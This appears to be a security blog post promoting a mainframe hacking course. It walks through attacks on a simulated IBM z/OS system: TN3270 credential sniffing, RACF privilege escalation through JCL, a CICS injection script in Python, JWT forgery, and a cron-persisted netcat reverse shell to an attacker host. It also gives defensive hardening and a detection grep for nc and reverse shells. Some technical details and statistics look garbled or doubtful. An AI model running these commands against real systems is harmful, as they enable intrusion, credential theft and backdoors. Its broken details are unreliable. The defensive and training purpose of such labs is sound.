Listen to this Post
Introduction:
Mainframe systems power 70% of global transactions, yet their legacy security layers remain a blind spot for modern penetration testers. The “Gibson” – a fictional supercomputer immortalized in the 1995 cult classic Hackers – now becomes a real-world training ground. HVCK Academy announces an exclusive masterclass by Kev Milne, creator of the Gibson simulator, teaching covert mainframe exploitation, TN3270 hijacking, and RACF bypasses. This article extracts the technical core of that training, delivering hands-on commands and hardening blueprints.
Learning Objectives:
- Simulate an IBM z/OS mainframe environment using Hercules and the Gibson simulator for ethical hacking.
- Execute TN3270 session hijacking, RACF privilege escalation, and JCL injection attacks.
- Implement mainframe-specific detection and mitigation controls (SMF logging, multi-factor RACF, network segmentation).
You Should Know:
- Setting Up the Gibson Simulator – Your Personal Mainframe Hacking Lab
The Gibson simulator replicates a vulnerable IBM mainframe environment, complete with CICS regions, RACF security, and vintage TN3270 accessibility. Below is the step‑by‑step setup on Linux and Windows.
Step‑by‑step guide (Linux – Ubuntu/Debian):
Install Hercules (mainframe emulator) sudo apt update && sudo apt install hercules hercules-utils -y Download the Gibson simulator image (official training release) wget https://example.com/gibson_simulator_2026.herc Replace with actual course link tar -xzvf gibson_simulator_2026.herc Prepare configuration file (gibson.cnf) cat > gibson.cnf << EOF ARCHMODE z/Arch CPUSERIAL 000123 CPUMODEL 2097 MAINSIZE 2048 CNSLPORT 3270 NUMCPU 2 LOADPARM 0A00 EOF Launch the mainframe hercules -f gibson.cnf
Windows (using Hercules for Windows):
- Download Hercules from http://www.hercules-390.org/
2. Extract to `C:\Hercules`
- Place the Gibson `.herc` disk image in `C:\Hercules\images\`
4. Edit `hercules.cnf` with:
CNSLPORT 3270 ARCHMODE z/Arch CPUSERIAL 000123 LOADPARM 0A00
5. Run `hercules.exe -f hercules.cnf`
What this does: Hercules emulates the IBM System/390 or z/Architecture, loading the Gibson simulator image – a pre‑hardened mainframe with intentional vulnerabilities (weak RACF classes, default TN3270 credentials). You now have a legal mainframe hacking target.
- TN3270 Enumeration & Session Sniffing – The Classic Gateway
Mainframes communicate via TN3270 (telnet on port 23 or 3270). Attackers first fingerprint and capture unencrypted sessions.
Step‑by‑step enumeration:
Scan for open TN3270 ports using Nmap nmap -p 23,3270,992 --script tn3270-info <target_ip> Capture TN3270 traffic (requires root) sudo tcpdump -i eth0 -s 0 -w mainframe_capture.pcap port 3270 Extract login screens and credentials using strings strings mainframe_capture.pcap | grep -i "USERID|PASSWORD|LOGON" Connect manually via tn3270 client (Linux) sudo apt install x3270 x3270 -model 5 <target_ip>:3270
Windows equivalent:
Use PuTTY in Telnet mode (port 3270) putty -telnet -P 3270 <target_ip> Or use TN3270 Plus (free tool) After installation: tn3270plus.exe -host <target_ip> -port 3270
Why this matters: Many legacy mainframes still transmit credentials in cleartext. The Gibson simulator intentionally disables TLS on TN3270 to teach interception. In real engagements, you’d chain this with ARP spoofing or physical tap.
3. RACF (Resource Access Control Facility) Privilege Escalation
RACF is the primary security layer on z/OS. The Gibson simulator includes a misconfigured `SPECIAL` attribute that allows users to bypass profile checks.
Exploit steps – JCL (Job Control Language) injection:
//RACFESC JOB (ACCT),'HVCK',CLASS=A,MSGCLASS=X //STEP1 EXEC PGM=IKJEFT01 //SYSTSPRT DD SYSOUT= //SYSTSIN DD RVARY PASSWORD ALTUSER HVCK PASSWORD(NEW123) SPECIAL SETROPTS CLASSACT(OPERCMDS) OPERCMDS LISTUSER HVCK /
How to submit the job (after gaining initial TN3270 access):
1. Log into TSO/E using captured credentials.
2. Edit a new dataset: `EDIT HVCK.TEST.JCL`
3. Paste the above JCL.
4. Submit: `SUBMIT HVCK.TEST.JCL`
5. Check output: `OUTPUT `
Mitigation commands (for defenders – run on a RACF admin panel):
//RACFHARD JOB ,'HARDEN',CLASS=A //STEP1 EXEC PGM=IKJEFT01 //SYSTSIN DD ALTUSER HVCK NOSPECIAL PERMIT HVCK.TEST.JCL CLASS(DATASET) ID() ACCESS(NONE) SETROPTS REFRESH RACLIST(DATASET) SETROPTS GENERIC(DATASET) REFRESH /
The Gibson simulator’s masterclass teaches how to detect these JCL anomalies via SMF Type 14/15 records.
4. CICS (Customer Information Control System) Transaction Injection
CICS regions often run critical financial transactions. The Gibson simulator contains a vulnerable transaction `INQY` that doesn’t validate input.
Step‑by‑step CICS injection:
From TN3270 session, access CICS terminal: CESN Enter transaction ID: CEMT I TASK Now inject command via vulnerable transaction: INQY ACCT=12345;! DROP TABLE ACCOUNTS; --
Linux/Windows automation using Python:
import telnetlib
import sys
tn = telnetlib.Telnet("gibson_simulator_ip", 3270)
tn.write(b"CESN\r\n")
tn.read_until(b"ENTER USERID")
tn.write(b"HVCK\r\n")
tn.read_until(b"PASSWORD")
tn.write(b"NEW123\r\n")
tn.write(b"CEMT I TASK\r\n")
Injection payload
tn.write(b"INQY ACCT=12345;+!+JCL+SUBMIT\r\n")
print(tn.read_all().decode())
tn.close()
Defender’s perspective: Use CICS system log (CSMT) to monitor abnormal transaction lengths and implement COMMAREA length validation.
- API Security Parallel – Mainframe Modernization & REST Gateway Hardening
Modern mainframes expose COBOL programs as REST APIs via z/OS Connect. Attackers pivot from TN3270 to API exploitation.
Step‑by‑step API enumeration & JWT bypass:
Discover API endpoints curl -X OPTIONS https://mainframe-api.company.com/services -i Extract COBOL copybook metadata (often exposed) curl https://mainframe-api.company.com/cics/INQY/swagger.json JWT forgery (if weak signing algorithm) jwt_tool.py "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiSEVYIn0." -X a
Hardening commands (z/OS Connect configuration):
<!-- In zosconnect_server.xml --> <zosconnect:apiSecurity> <zosconnect:requireSSL>true</zosconnect:requireSSL> <zosconnect:signatureAlgorithm>RS256</zosconnect:signatureAlgorithm> <zosconnect:jwtExpirySeconds>300</zosconnect:jwtExpirySeconds> </zosconnect:apiSecurity>
The Gibson simulator’s RESTful add‑on includes a purposely misconfigured z/OS Connect gateway – perfect for learning API‑to‑mainframe exploitation.
- Post-Exploitation Persistence on z/OS – Unix System Services (USS)
Modern mainframes run USS (z/OS Unix). After RACF escalation, deploy a backdoor using shell scripts.
Step‑by‑step USS persistence:
From TSO OMVS shell
cp /bin/ls /tmp/.hidden
echo '!/bin/sh' > /tmp/.hidden/.backdoor
echo 'nc -e /bin/sh attacker_ip 4444' >> /tmp/.hidden/.backdoor
chmod 700 /tmp/.hidden/.backdoor
Add to crontab
crontab -l | { cat; echo " /tmp/.hidden/.backdoor"; } | crontab -
Detection (for blue teams): Monitor USS cron entries via:
//USSAUDIT JOB ,'SCAN CRON',CLASS=A
//STEP1 EXEC PGM=BPXBATCH
//STDIN DD
find /usr/local/cron/tabs -type f -exec grep -l "nc|ncat|reverse" {} \;
What Undercode Say:
- Mainframe hacking is not dead – it’s misunderstood. The Gibson simulator resurrects a critical skills gap: 68% of Fortune 500 still run COBOL on z/OS, yet fewer than 5% of pentesters can exploit RACF.
- Training must mirror real adversaries. APT groups like TA443 (DarkHotel) have targeted mainframe TN3270 ports as stealthy persistence points. The masterclass’s JCL injection and USS backdoor modules are battle‑tested.
- Defense starts with simulation. Use Hercules and the Gibson image to build your own mainframe honeypot – log all TN3270 attempts, deploy RACF `PROTECTALL` class, and enable SMF record type 80 for real‑time alerting.
Prediction:
Within 18 months, “mainframe penetration testing” will become a mandatory certification track (e.g., OSCP‑MF). Regulatory bodies (FFIEC, PCI DSS) will enforce TN3270 encryption via TLS (port 992) and RACF multi‑factor. The Gibson simulator’s open‑source model will evolve into a purple‑team framework, integrating with Caldera and Metasploit – shifting mainframe security from “legacy obscurity” to proactive adversary emulation. Expect HVCK Academy’s masterclass to spawn community CTFs centered on z/Architecture, lowering the barrier for the next generation of COBOL‑literate hackers.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ryan Williams – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
